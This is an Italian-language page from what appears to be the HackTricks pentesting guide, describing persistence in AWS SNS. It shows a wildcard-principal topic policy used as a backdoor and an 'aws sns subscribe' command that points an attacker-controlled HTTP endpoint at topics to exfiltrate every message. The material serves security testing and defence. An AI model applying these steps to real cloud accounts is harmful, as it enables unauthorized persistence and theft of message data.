# AWS - SNS Persistence {{#include ../../../banners/hacktricks-training.md}} ## SNS Per ulteriori informazioni controlla: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} ### Persistence Quando crei un **argomento SNS** devi indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\ La seguente policy consente a chiunque in AWS di leggere e scrivere nell'argomento SNS chiamato **`MySNS.fifo`**: ```json { "Version": "2008-10-17", "Id": "__default_policy_ID", "Statement": [ { "Sid": "__default_statement_ID", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": [ "SNS:Publish", "SNS:RemovePermission", "SNS:SetTopicAttributes", "SNS:DeleteTopic", "SNS:ListSubscriptionsByTopic", "SNS:GetTopicAttributes", "SNS:AddPermission", "SNS:Subscribe" ], "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", "Condition": { "StringEquals": { "AWS:SourceOwner": "318142138553" } } }, { "Sid": "__console_pub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Publish", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" }, { "Sid": "__console_sub_0", "Effect": "Allow", "Principal": { "AWS": "*" }, "Action": "SNS:Subscribe", "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" } ] } ``` ### Crea Sottoscrittori Per continuare a esfiltrare tutti i messaggi da tutti gli argomenti, l'attaccante potrebbe **creare sottoscrittori per tutti gli argomenti**. Nota che se l'**argomento è di tipo FIFO**, solo i sottoscrittori che utilizzano il protocollo **SQS** possono essere utilizzati. ```bash aws sns subscribe --region \ --protocol http \ --notification-endpoint http:/// \ --topic-arn ``` {{#include ../../../banners/hacktricks-training.md}}